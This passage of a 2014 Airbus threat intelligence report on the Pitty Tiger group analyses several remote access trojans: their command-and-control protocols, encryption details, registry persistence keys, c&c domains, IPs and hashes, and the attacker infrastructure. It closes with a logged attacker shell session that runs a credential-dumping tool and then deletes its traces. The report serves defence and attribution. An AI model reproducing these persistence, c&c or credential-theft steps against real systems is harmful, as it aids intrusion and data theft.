0x11 bytes header consisting of a fixed-value byte (0xc3) followed by a 0x10 bytes encryption key. The data following the header is encrypted using RC4 with the previous key. Once the data is deciphered, the last byte of the clear text should also be 0xc3. We have been able to decrypt the communications and confirmed what is transmitted to the c&c server. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 14/58 Operation Pitty Tiger The Eye of the Tiger Here is an anonymized sample of communication showing information collected by the malware: HostName :xxx UserName :xxx SysType :32bit Windows 7 Enterprise Service Pack 1 6.1 7601 Organization: Owner:xxx --------------Server Info------------------- AdobeARMservice - Adobe Acrobat Update Service - AeLookupSvc - Application Experience - AudioEndpointBuilder (list goes on) --------------Soft Info------------------1 Adobe AIR 4.0.0.1390 Adobe Shockwave Player 12.0 12.0.9.149 FileZilla Client 3.7.4.1 3.7.4.1 Mozilla Thunderbird 24.3.0 (x86 en-US) 24.3.0 (list goes on) --------------IP Config------------------Adapt Type: Ethernet NetCardNum: NetCard Name: {XXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} Description : Realtek RTL8139C+ Fast Ethernet NIC MAC-ADDR: XX-XX-XX-XX-XX-XXX IP-Addr: 10.xxx.xxx.xxx IP-Mask: 255.255.255.0 GateWay: 10.xxx.xxx.xxx DHCP Serv: DHCP Host: 10.xxx.xxx.xxx WINS Serv: WINS PriHost: WINS SecHost: Sample information collected by Troj/ReRol.A malware This information is very useful for an attacker: it shows all software installed on the system, and running services. Once this data has been transferred to the c&c server, it responds by sending additional malware to execute on the machine. The c&c part consists of two files: - dr.asp: an ASP frontend instantiating a control, setting some variables, and passing the payload. - JHttpSrv.dll: a controller which should be registered via regsvr32 . It exposes 4 methods which can be called by the ASP script: o SetIP(strIP): sets the bot IP address o AddKeyword(strKeyword, strFilePath): binds a keyword to a binary on the server o Work(lpByteArray, nDataLength): deciphers the payload, looks for the registered keywords, and writes it to a logfile o ResponseBinary(): sends back the binary matching a specific a keyword Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 15/58 Operation Pitty Tiger The Eye of the Tiger The dr.asp registers the following keywords: SysType :32bit to the binary 32.exe SysType :64bit to the binary 64.exe These two binaries were no longer available on the server. However, we found various files which could have been used as 32.exe in the past: - 3200.exe - 322.exe - 32m.exe - 32mm.exe The 322.exe file is a legitimate, Chinese, calc.exe tool. It might have been used by the attackers to perform tests. The 3 others binaries are RATs, which will be detailed in the next parts. PITTYTIGER RAT This RAT is the origin of the attackers group name. PittyTiger is a mutex used by the malware. Pitty Tiger is also a string transmitted in the network communications of the RAT, as you will see in this chapter. Installation The malware1, when running in our sandbox, triggers the following alarms: Alarms in our sandbox system, triggered by the PittyTiger malware The binary drops two files in C:\Windows\System32 MD5 hash : be18418cafdb9f86303f7e419a389cc9 Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 16/58 Operation Pitty Tiger The Eye of the Tiger Files dropped by the PittyTiger RAT in our sandbox The qmgrxp.exe binary is a simple copy of the original binary. It drops the packet64.dll , and injects it in explorer.exe . When executed, a mutex called PittyTiger is created. Persistence is achieved by adding the path to the binary to the WinlogonUserInit key: Key Path: \REGISTRY\USER\\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name: UserInit Value: C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\qmgrxp.exe, The packet64.dll is the main payload of the RAT. After being injected, it starts sending its Hello packet to its c&c server: Sample communication from PittyTiger RAT Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 17/58 Operation Pitty Tiger The Eye of the Tiger Command & Control All the requests sent to the c&c contains the string /FC001/ followed by the bot id. This id consists of the infected computer name followed by a dash and the lower word of the disk serial id. The data sent is simply encoded using base64, there is no cipher at all. The hello packet, once decoded, looks like the following: --------------------------PittyTigerV1.0 --------------------- -------------- ---------------------------- -------------- ---------------------------- Version:NULL Our sample had 3 c&c servers configured: - jackyandy.avstore.com.tw:80 - chanxe.avstore.com.tw:443 - newb02.skypetm.com.tw:80 The following commands are implemented: - File Download (get) and Upload (put) - Screen Capture 8bit (prtsc) and 16bit (prtsc2) - Remote Shell (ocmd/ccmd) - Configuration update (setserv/freshserv) - Direct command execution Regarding the controller part, we found two different versions: - A Delphi binary handling PittyTiger connections only - A .NET binary handling both PittyTiger and CT connections The interface handling both Pitty TIGER and CT connections is very interesting. We have been able to confirm that the author of those two families of malware is the same person, as will be seen in the next chapter about CT RAT Pitty Tiger RAT controller part Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 18/58 Operation Pitty Tiger The Eye of the Tiger CT RAT This remote administration tool is often used by the Pitty Tiger group. We have been able to acquire both the client and the server parts. We found two instances of the same binary with different names 32mm.exe and mm32.exe1. This RAT seems to be an evolution of PittyTiger, since a specific server binary we found could handle both requests from CT and PittyTiger, and was indicated as compatible with PittyTiger. Moreover, the same commands are implemented in both RATs. Installation Unsurprisingly, when running in our sandbox, the RAT triggers the same alarms as PittyTiger: Alarms in our sandbox system, triggered by the CT RAT The binary drops two files in C:\Program Files\Internet Explorer MD5 hash: f65dc0b3eeb3c393e89ab49a3fac95a8 Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 19/58 Operation Pitty Tiger The Eye of the Tiger Files dropped by the CT RAT in our sandbox The ieupdate.exe is a simple binary to inject the DLL into explorer.exe Persistence is achieved via the following registry key: Key Path: \REGISTRY\USER\\Software\Microsoft\Windows NT\CurrentVersion\Windows Value Name: load Value: c:\PROGRA~1\INTERN~1\ieupdate.exe After injection, the RAT sends a first login packet to its c&c: Encrypted communication from a machine infected with CT RAT Command & Control The RAT communication is performed through HTTP requests. The data is sent encrypted with RC4, and base64-encoded. The RC4 key is the Unicode form of the requested URL. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 20/58 Operation Pitty Tiger The Eye of the Tiger The Login packet contains the following string, after decoding and deciphering: Login ->C:PC-XXX ->U:User-XXX ->L:10.10.10.1 ->S:Microsoft Windows XP Service Pack 3 5.1 2600 ->M:Nov 13 2013 ->P:1033 It contains the computer name, the user name, the internal IP address, the OS version, the RAT internal version and the Language ID of the system. The RAT can then receive commands from its c&c. Usual RAT features are implemented: - File Download (GET) and Upload (PUT) - Remote shell (ocmd/ccmd) - Configuration update (cfg) - Sleep (sleep) Version and author(s) Regarding the configuration, our sample communicates with sop.avstore.com.tw , and contains the string Nov 13 2013 , which should be a version identifier. The c&c part is a Windows binary written in .NET. We found 2 versions: - Version 2013.10: CT only controller - Version 2013.12: CT and PittyTiger controller The About form gives the name of the developer(s): Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 21/58 Operation Pitty Tiger The Eye of the Tiger CT controller in action with a testing machine of ours The version of the controller which can handle both PittyTiger and CT shows the same author(s): CT/PittyTiger controller Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 22/58 Operation Pitty Tiger The Eye of the Tiger As these screenshots show, the switch between PittyTiger and CT was probably in the last semester of 2013. The text can be translated, thanks to Google Translate, as: CT console (compatible pittytiger) v1.3 2013.12 by Trees and snow Further discussion about this author is provided in subsequent sections. MM RAT (AKA TROJ/GOLDSUN-B) We named this malware MM RAT at the beginning of our investigation, before we found an existing name for it, Troj/Goldsun-B according to Sophos. This is another remote administration tool often used by the Pitty Tiger crew. We have been able to acquire both a client and server part for it. Installation The binary we found is named 3200.exe1, and triggers the following alarms in our sandbox: Alarms in our sandbox system, triggered by the Troj/Goldsun-B malware The release.tmp file is dropped on the system: MD5 hash: 728d6d3c98b17de3261eaf76b9c3eb7a Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 23/58 Operation Pitty Tiger The Eye of the Tiger File dropped by the malware in our sandbox The binary is also copied to the user Application Data directory, and injects the release.tmp file explorer.exe Persistence is achieved by adding the path to the binary to the Winlogon Shell key: Key Path: \REGISTRY\USER\\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Value Name: Shell Value: explorer.exe,C:\DOCUME~1\\APPLIC~1\, The RAT embeds its own DNS server IP addresses to make the c&c domain names resolutions. These addresses are listed below: 63.251.83.36 64.74.96.242 69.251.142.1 212.118.243.118 216.52.184.230 61.145.112.78 218.16.121.32 Command & Control It starts resolving its domains after injection, and immediately sends requests. First requests are used to check for updates (GET request on /httpdocs/update/update.ini). A Hello packet is then sent: Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 24/58 Operation Pitty Tiger The Eye of the Tiger Hello packet sent by Troj/Goldsun-B to its c&c server The bot then repeatedly sends GET requests on /httpdocs/mm//ComMand.sec to retrieve remote commands. The communication protocol is quite simple: GET requests are used to receive data from the c&c, and POST requests to send data. In POST commands, the CGI name represents the command. The following features are implemented: - c&c authentication using password - Remote shell - Remote commands - File Download / Upload / Deletion / Search - Bot termination The following CGI files can be requested by the bot: - Vip: test for connectivity - Owpp4: register new bot - CReply: answer to remote commands - Clrf: clear remote file (to clear ComMand.sec after reading) - CFile: transmit file (file transfers or answers to commands) - Cerr: send error The configuration is stored locally in a file called schmup.sys . The file is ciphered using RC4, using the MD5 hash of rEdstArs as the key. Our sample uses mca.avstore.com.tw star.yamn.net and bz.kimoo.com.tw as c&c servers. It contains the 1.6.0 version number, and uses the password 9ol.8ik, to authenticate with the bots. Unlike others c&c binaries, the c&c part of this RAT does not have a graphical interface, but can be remotely requested to manage the bots. Furthermore, no authentication is required to send commands to the c&c (but you need to know the configured password to interact with the bots). The management protocol is the same as the bots protocol, with different CGI files: - Shutdown: shutdown the c&c - Cnor: add a new command for a bot (writes it in ComMand.sec - Mlist: get the list of bots - Mlist2: write the list of bots to the file Online.dat Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 25/58 Operation Pitty Tiger The Eye of the Tiger The bots answers to remote commands can be retrieved by requesting the Reply.sec file (e.g. GET /httpdocs/mm//Reply.sec) Network patterns These network patterns might ring bells in some researcher s minds. The network communication used by this binary are the same as those used by the Enfal malware, which has been used in the past by the Lurid group (APT attackers) and by other threat actors in China1. An examination of the code did not reveal code similarities with the Enfal malware. We do not currently know why this malware uses the same patterns to communicate. PALADIN RAT This is another remote administration tool used by the Pitty Tiger group. We have been able to get both a client and server part of it. Installation The binary we found was dropped by a malicious Word document. The following alarms are triggered in the sandbox: Alarms in our sandbox system, triggered by the Paladin RAT The shellcode contained in the Word file drops the following file, and executes it: - C:\Documents and Settings\\Local Settings\Temp\svohost.exe2 This one drops in turn the following file: http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf MD5 hash: 0567fd7484efbae502cac279d32ed518 Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 26/58 Operation Pitty Tiger The Eye of the Tiger File dropped by the malware in our sandbox This tmp file is then copied to C:\Windows\system32\Nwsapagentex.dll and registered as a service called Nwsapagent This malware is a variant of the infamous Gh0st RAT1. Our specific sample uses ssss0 instead of the usual Gh0st header for network communications. Command & Control The commands ID used in the communication protocol have also changed, but the features are quite the same. The configuration is directly embedded in the binary, and deciphered at runtime. Up to 5 c&c servers can be configured, but our sample only had one: ey.avstore.com.tw:53 could stand for Ernst & Young . It would not be very surprising, since a lot of different attack groups do use anti-virus vendors or other big company s names to try to look more legitimate. Pitty Tiger is no exception, as detailed later in this report. We also found two c&c binaries, claiming to be versions 2.1 and 2.2 of the Paladin RAT controller. Version 2.1 answers to the ssss0 header, while version 2.2 uses the classical Gh0st header. Paladin controller used with one of our testing machines http://www.mcafee.com/sg/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 27/58 Operation Pitty Tiger The Eye of the Tiger Paladin has multiple features: file transfer, screenshot, command shell LEO RAT Additionally to the Paladin RAT, we found another variant of Gh0st RAT, named . Although we have found it on a c&c server of the group, there is no evidence that is has been used by the group, in opposition to Paladin which is used often by Pitty Tiger. Moreover, the built malware we found in the same folder was configured to connect to a local IP address, probably for testing purposes. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 28/58 Operation Pitty Tiger The Eye of the Tiger Leo malware controller screenshot a variant of Gh0st RAT Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 29/58 Operation Pitty Tiger The Eye of the Tiger INFRASTRUCTURE Our investigation has focused on three particular c&c servers used by the group. These c&c servers, unlike the other c&cs used by the group, have been misconfigured. Once parsed and dumped, it provided us with more insight. We found several domains used by the Pitty Tiger group, the most interesting ones being detailed in this chapter. Pitty Tiger, like other APT attackers, often use anti-virus familiar names when registering domains or creating subdomains. Some examples can be avstore.com.tw, sophos.skypetm.com.tw, symantecs.com.tw, trendmicro.org.tw etc. AVSTORE.COM.TW WHOIS Data registration information this domain been same since 2013-06-04: Domain Name: avstore.com.tw Registrant: information of network company longsa longsa33@yahoo.com +86.88885918 No.520.spring road.shenyang shanghai, shanghai This information has been used to register another domain, skypetm.com.tw, which has also been used by the Pitty Tiger group. Malware families Our research also led us to the discovery of four different malware families connected to subdomains of avstore.com.tw: PittyTiger RAT (aka Backdoor:Win32/Ptiger.A) Troj/ReRol.A CT RAT Paladin RAT (variant of Gh0st RAT) Family Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 30/58 Operation Pitty Tiger The Eye of the Tiger 0d3b3b422044759b4a08a7ad8afe55c7 75cf4f853f0f350fac9be87371f15c8d b6380439ff9ed0c6d45759da0f3b05b8 5e2360a8c4a0cce1ae22919d8bff49fd f65dc0b3eeb3c393e89ab49a3fac95a8 e7dc3bbe8b38b7ee0e797a0e27635cfa 4ce8593c9de2b27b5c389f651c81638b Paladin dropper Exploit:Win32/CVE-2012-2539 Troj/ReRol.A dropper Troj/ReRol.A 8df89df484ca5c376b763479ea08d036 be18418cafdb9f86303f7e419a389cc9 PALADIN Pitty Tiger RAT ey.avstore.com.tw mac.avstore.com.tw sop.avstore.com.tw CT RAT chanxe.avstore.com.tw jackyandy.avstore.com.tw jackyandy.avstore.com.tw MD5 hashes of files linked to avstore.com.tw Links between malware samples, malware families, and avstore.com.tw subdomains Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 31/58 Operation Pitty Tiger The Eye of the Tiger C&C servers and IP addresses Hosting company Geolocation IP Range IP Address Host Time space HongkongDingfengxinhuiBgp Datacenter Kowloon, Hong Kong 122.10.0.0 122.10.63.255 122.10.48.189 chanxe.avstore.com.tw Actually in use jackyandy.avstore.com.tw Hurricane Electric Inc Fremont, USA 66.220.0.0 66.220.31.255 66.220.4.100 mac.avstore.com.tw Actually in use sop.avstore.com.tw ey.avstore.com.tw New World Telephone LTD Hong Kong City, Hong Kong 58.64.175.0 58.64.175.255 58.64.175.191 jackyandy.avstore.com.tw Dec. 2013 Avstore.com.tw infrastructure: hosting and subdomains SKYPETM.COM.TW WHOIS Data This domain has shown two different WHOIS entries through time: Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 32/58 Operation Pitty Tiger The Eye of the Tiger From 2011-12-29 to 2013-01-02 : Registrant :chenzhizhong Email : hurricane_huang@163.com Telephone : +86.2426836910 From 2013-11-21 until today : Registrant : long sa Email : longsa33@yahoo.com Telephone : +86.88885918 The most recent registration information is also used for avstore.com.tw. Malware families Six malware families have been identified as communicating with subdomains of skypetm.com.tw: MM RAT Pitty Tiger RAT Troj/ReRol.A CT RAT Paladin Exadog 81fa811f56247c236566d430ae4798eb 55e456339936a56c73a7883ea1ddb672 d5da60d678d5a55a847e1e6723c7a4d0 0750569cf1733d4fbb01169476387cc2 Malware family MM RAT Backdoor:Win32/Ptiger.A Backdoor:Win32/Ptiger.A Backdoor:Win32/Ptiger.A abb0abfab252e4bfb9106273df3c1c2 Backdoor:Win32/Ptiger.A c0656b66b9f4180e59e1fd2f9f1a85f2 ce15fa3338b7fe780e85c511d5e49a98 8a54adb3976d1c03605656ca55be7400 a1ea6dc12b983c7262fe76c1b3663b24 b6380439ff9ed0c6d45759da0f3b05b8 5e2360a8c4a0cce1ae22919d8bff49fd 79e48961d1ee982a466d222671a42ccb 4ab74387f7a02c115deea2110f961fd3 bf95e89906b8a17fd611002660ffff32 CONTAINS VICTIM INFORMATION 4ce8593c9de2b27b5c389f651c81638b 8df89df484ca5c376b763479ea08d036 22e47c5e3809a4150d0db7fc99a68cc0 Troj/Rerol.A Troj/Rerol.A Backdoor:Win32/Ptiger.A Backdoor:Win32/Ptiger.A Troj/Rerol.A dropper Troj/ReRol.A Troj/ReRol.A ReRol.A Troj/ReRol.A Office Word file - Rerol.A dropper CT RAT Paladin Office Excel file Rerol.A dropper Backdoor:Win32/Ptiger.A Win32/Exadog.AA Backdoor:Win32/Ptiger.A dd87c68c1e71bb104a48a6be87a2349f 068870c2c165a1d29fc2f3d3edfed3ae Unknown C&C server ms11.skypetm.com.tw botemail.skypetm.com.tw aniu.skypetm.com.tw aniu.skypetm.com.tw zeng.skypetm.com.tw aniu.skypetm.com.tw zeng.skypetm.com.tw zeng.skypetm.com.tw zeng.skypetm.com.tw super.skypetm.com.tw qinoo.skypetm.com.tw sophos.skypetm.com.tw sophos.skypetm.com.tw sophos.skypetm.com.tw sophos.skypetm.com.tw sophos.skypetm.com.tw sophos.skypetm.com.tw newb02.skypetm.com.tw newb02.skypetm.com.tw margo.skypetm.com.tw ripper.skypetm.com.tw link.skypetm.com.tw asdf.skypetm.com.tw Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 33/58 Operation Pitty Tiger The Eye of the Tiger Skypetm.com.tw infrastructure: subdomains and malware linked to it Hosting Company Geolocalisation IP Range IP Address C&C server Timeline Take 2 Hosting Inc. San Jose, USA 173.252.192.0 173.252.255.255 173.252.198.103 newb02.skypetm.com.tw Actually in use Hurricane Electric Inc. Fremont USA 66.220.0.0 66.220.31.255 66.220.4.100 sophos.skypetm.com.tw Actually in use Taiwan Academic Network Taipei, Taiwan 210.60.0.0 210.60.255.255 210.60.141.45 botemail.skypetm.com.tw 2012-03-06 Gorillaservers Inc. Los Angeles, USA 198.100.96.0 198.100.127.255 198.100.121.15 sophos.skypetm.com.tw Gorillaservers Inc. Los Angeles, USA 198.100.96.0 198.100.127.255 198.100.121.15 margo.skypetm.com.tw 2013-11-22 Webnx Inc. Los Angeles, USA 216.18.192.0 216.18.223.255 216.18.208.4 botemail.skypetm.com.tw 2013-04-04/201312-16 Webnx Inc. Los Angeles, USA 216.18.192.0 216.18.223.255 216.18.208.4 qinoo.skypetm.com.tw Data Communication Business Group Taipei, Taiwan 59.112.0.0 59.123.255.255 59.120.84.230 botemail.skypetm.com.tw 2012-03-12/201204-28 Data Communication Business Group Taipei, Taiwan 211.75.128.0 211.75.255.255 211.75.195.1 super.skypetm.com.tw 2011-08-30/201312-16 Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 34/58 Operation Pitty Tiger The Eye of the Tiger Data Communication Business Group Taipei, Taiwan 61.220.0.0 61.227.255.255 61.220.44.244 aniu.skypetm.com.tw 2013-04-05/201312-16 Data Communication Business Group Taipei, Taiwan 61.220.0.0 61.227.255.255 61.220.44.244 zeng.skypetm.com.tw Data Communication Business Group Taipei, Taiwan 61.220.0.0 61.227.255.255 61.220.209.17 qinoo.skypetm.com.tw New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.169.0 113.10.169.255 113.10.169.162 margo.skypetm.com.tw Actually in use New World Telephone Ltd. Hong Kong City, Hong Kong 58.64.185.0 58.64.185.255 58.64.185.200 zeng.skypetm.com.tw 2013-12-16/201312-16 New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.240.0 113.10.240.255 113.10.240.54 qinoo.skypetm.com.tw New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.221.0 113.10.221.255 113.10.221.126 zeng.skypetm.com.tw New World Telephone Ltd. Hong Kong City, Hong Kong 113.10.240.0 113.10.240.255 113.10.240.50 link.skypetm.com.tw 2012-12-21/201312-16 Asia Data (hong Kong) Limited Hong Kong City, Hong Kong 101.1.17.0 101.1.31.255 101.1.25.74 zeng.skypetm.com.tw Actually in use Isp Satellite Broadband Provider Hong Kong City, Hong Kong 202.174.130.0 202.174.130.255 202.174.130.110 ms11.skypetm.com.tw 2011-02-27/201312-16 Jeongkyunghee Anyang, South Korea 221.144.0.0 221.168.255.255 221.150.164.114 link.skypetm.com.tw 2011-06-29/201212-18 COMMON CHARACTERISTICS BETWEEN THE TWO DOMAINS Malware families and samples Avstore.com.tw and skypetm.com.tw have 4 malware families in common, communicating to subdomains of both domains: Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 35/58 Operation Pitty Tiger The Eye of the Tiger Links between malware samples, IP addresses and c&cs associated to avstore.com.tw and skypetm.com.tw OTHER DOMAINS LINKED WITH THE PITTY TIGER GROUP Domain Shares with Comment paccfic.com Whois information acers.com.tw, foxcom.com.tw, dopodo.com.tw, stareastnet.com.tw webconference.com.tw Whois information techsun.com.tw Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 36/58 Operation Pitty Tiger The Eye of the Tiger stareastnet.com.tw IP Address techsun.com.tw, trendmicro.org.tw Whois information acers.com.tw, foxcom.com.tw, dopodo.com.tw, paccfic.com dopodo.com.tw, foxcom.com.tw, kimoo.com.tw, symantecs.com.tw trendmicroup.com IP Address symantecs.com.tw Whois information IP Address trendmicroup.com Whois information trendmicro.org.tw Whois information IP Address lightening.com.tw Whois information IP Address techsun.com.tw Whois information IP Address dopodo.com.tw Whois information IP Address foxcom.com.tw Whois information IP Address acers.com.tw Whois information IP Address Two PittyTiger malware and a CT RAT have been pointing to several stareastnet.com.tw subdomains. A pittytiger dropper, a Paladin malware and a CT RAT have been pointing to several symantecs.com.tw subdomains. dopodo.com.tw, foxcom.com.tw, kimoo.com.tw, stareastnet.com.tw, wmdshr.com, trendmicro.org.tw symantecs.com.tw Skypetm.com.tw, avstore.com.tw webconference.com.tw, techsun.com.tw, skypetm.com.tw, kimoo.com.tw, symantecs.com.tw, hdskip.com helosaf.com.tw, seed01.com.tw seed01.com.tw, A paladin and a PittyTiger malware have been pointing to several trendmicro.org.tw subdomains. Paladin and PittyTiger samples has been pointing to several lightening.org.tw subdomains. webconference.com.tw webconference.com.tw, trendmicro.org.tw acers.com.tw, foxcom.com.tw, stareastnet.com.tw stareastnet.com.tw, symantecs.com.tw, kimoo.com.tw acers.com.tw, dopodo.com.tw, stareastnet.com.tw stareastnet.com.tw, symantecs.com.tw, kimoo.com.tw acers.com.tw, foxcom.com.tw, stareastnet.com.tw symantecs.com.tw, wmdshr.com, kimoo.com.tw Links between domains used by Pitty Tiger Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 37/58 Operation Pitty Tiger The Eye of the Tiger Timeline of Pitty Tiger domains registration information, based on e-mail address Some domains registered by the group are very old. There is an increase in the registrations from 2010 on. All the e-mail addresses used are connected to the Pitty Tiger group. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 38/58 Operation Pitty Tiger The Eye of the Tiger VICTIMS Mapping the victims of such a targeted campaign is not an easy task. We have found the Pitty Tiger group to be very active against one particular private company from the defense industry and one academic network of a government, , yet we think it was done to be used as a proxy for some of the group s operations. We have also found some connections from other companies to the c&c servers, yet we did not find evidence that they were real victims. These alleged victims do work in different sectors and are located mostly in European countries. 1 company from the defense industry; 1 company from the energy industry; 1 company from the telecommunications industry; 1 company specialized in web development. It might be surprising to see a company specialized in web development here, yet it has built websites for interesting potential targets. We suspect Pitty Tiger to use this compromise to spear phish other companies which are in commercial relation with this web development company. We have to mention that we only had access to three of the several attackers servers. Therefore, we suppose the Pitty Tiger group could have more targets than what we could confirm. We also found a lot of vulnerability scanners launched by the attackers at different targets, yet there was no sign of compromise. During the course of our investigations, we discovered a RAR archive on the attacker s server containing 5 Word documents and one small C source code. These documents belong to the defense company which has been compromised. According to the name of the files and the general feel of the archive, we do think it was extracted by the attackers to show someone what kind of data they could get from the compromise of that particular target. The documents were still exhibiting comments from various users, showing it was an ongoing work and not old documents. Interestingly enough, we saw a part of these documents appear on Virus-Total, with an additional gift from the attackers, a payload dropping a malware. There are only two options we can think of here: Someone from the same company has been targeted with this document. Someone from another company has been targeted with this document. This other company could be a partner or competitor. Since we were unable to determine the intended use of this specific document, we can only suppose that it could be used to provide commercial advantages to competitors of that company, or used by a foreign state. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 39/58 Operation Pitty Tiger The Eye of the Tiger ATTACKERS During our investigation, we found out interesting information about the Pitty Tiger group itself. After analyzing the various collected elements, we have tried to draw a portrait of this particular threat. ATTACKER S CONNECTIONS TO THE C&C We have been able to get all the RDP connections logs to one c&c server: COMPUTER NAME OCCURENCES IP ADDRESSES COUNTRY 23.226.178.162 27.155.90.80 27.155.110.81 27.156.49.223 58.64.177.60 59.53.91.33 103.20.192.11 110.90.60.250 110.90.61.69 110.90.62.185 120.32.113.97 120.32.114.209 121.204.33.130 121.204.33.153 183.91.52.230 China China China Hong Kong China Hong Kong China China China China China China China Hong Kong FLY-THINK 27.151.0.224 27.155.109.89 121.204.88.120 120.32.114.139 China China China China TIEWEISHIPC CHMXY-PC 27.16.139.143 58.61.40.5 China China 50PZ80C-1DFDCB8 RDP connections from attackers machines to one particular c&c, from beginning of April 2014 to beginning of July 2014 These connections are either VPS or dynamic IP addresses, mostly from China. A computer named CHMXY-PC connected to the c&c via RDP with IP address 58.61.40.5. The IP is in an ADSL dynamic pool in the Gangzhou area (Guangdong province): Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 40/58 Operation Pitty Tiger The Eye of the Tiger IP address used by CHMXY-PC A few connections to the c&c were done by a computer named TIEWEISHIPC with IP address 27.16.139.143. This IP address belongs to an ADSL dynamic pool in the Wuhan area (Hubei provincial capital). IP address used by TIEWEISHIPC computer Some connections to the c&c originated from a computer named FLY-THINK with several IP addresses, all located in Fuqing (Fujian province). The IP addresses are in an ADSL dynamic pool: Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 41/58 Operation Pitty Tiger The Eye of the Tiger IP addresses used by the FLY-THINK machine Most of the connections to the c&c server were coming from a computer named 50PZ80C1DFDCB8 with several IP addresses. There are 11 IP addresses from Chinese dynamic ADSL ranges: 9 from Fuqing (Fujian province), one from Fuzhou (Fujian s province capital) and one from Nanchang (Jiangxi s province capital). The last one came from a VPS instance located in Los Angeles (California, USA) but purchased by a China based VPS provider XeVPS which belong to the AS38197 (Sun Network Hong Kong Limited). IP addresses used by the 50PZ80C-1DFDCB8 machine Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 42/58 Operation Pitty Tiger The Eye of the Tiger The two computers FLY-THINK and 50PZ80C-1DFDCB8 have used distinct IP addresses to connect to the c&c, yet some of these IP addresses come from the same IP range: IP ranges overlapping between two machines used by the attackers We mapped these RDP connections to have a graphical view: Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 43/58 Operation Pitty Tiger The Eye of the Tiger RDP connections from the attackers to one c&c server TOOT We found that a member of this group of attackers used some tools on his own system, for testing purposes. This information was still available when we got access to the c&c server. He launched some tests with the CT RAT we exposed earlier: User Toot logging on the CT RAT on machine toot-2a601225a8 , 2014/02/10 Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 44/58 Operation Pitty Tiger The Eye of the Tiger User Toot logging on the CT RAT on machine toot-2a601225a8 , 2014/04/09 User Toot logging on the CT RAT on machine toot-2a601225a8 , 2014/04/09 Here we can see a user Toot from a machine named toot-2a601225a8 logging in the CT RAT and executing some commands. The c&c IP address, 198.100.113.27, can be seen there. Other log files showed that Toot is using virtual machines for his tests. We can also see the system: Microsoft Windows XP SP3. The field is the language ID. Public release Threat Intelligence The Eye of the Tiger Copyright 2014 Airbus Defence & Space - All rights reserved Page : 45/58 Operation Pitty Tiger The Eye of the Tiger 1028 means Chinese traditional . We have also seen tests run by toot with a language ID of 2052, which is Chinese simplified The field is probably used for versioning. It is a hardcoded string in the binary. After these tests, we could see some real connections to a victim using this RAT. Here is a follow-up of the commands launched by the bot controller, in a standard command-line shell: Command cd\temp Effect Folder change Lists the content of the folder. The attacker here is probably looking for his tools and does not remember if they are there or in system32. cd\windows\system32 Folder change dir tools* Looking for tools.exe, a tool to fetch different kind of credentials on the system tools The attacker wants to see what the options are for the tool. tools Tools.exe is launched. At this point, the output shows the attackers only gets successfully one MSN credential in clear text, login and password, and one Microsoft Outlook credential. type iecache.txt Shows the Internet Explorer cache to the attacker. The output is huge. dir cmd.exe Looking for cmd.exe del tools.exe Remove the tools.exe after its use dir tools.exe Checks to see if it has been successfully deleted del iecache.txt Removes the IE cache log file. regedit -e 1.reg Dumps the content of this key to a file "HKEY_CURRENT_USER\Software\Microsoft\Windows named 1.reg NT\CurrentVersion\Windows" type 1.reg Checks if dump has been successful. del 1.reg Deletes the dump regedit -e v1.reg Do it again, we do not know why the "HKEY_CURRENT_USER\Software\Microsoft\Windows attacker does this the output is the 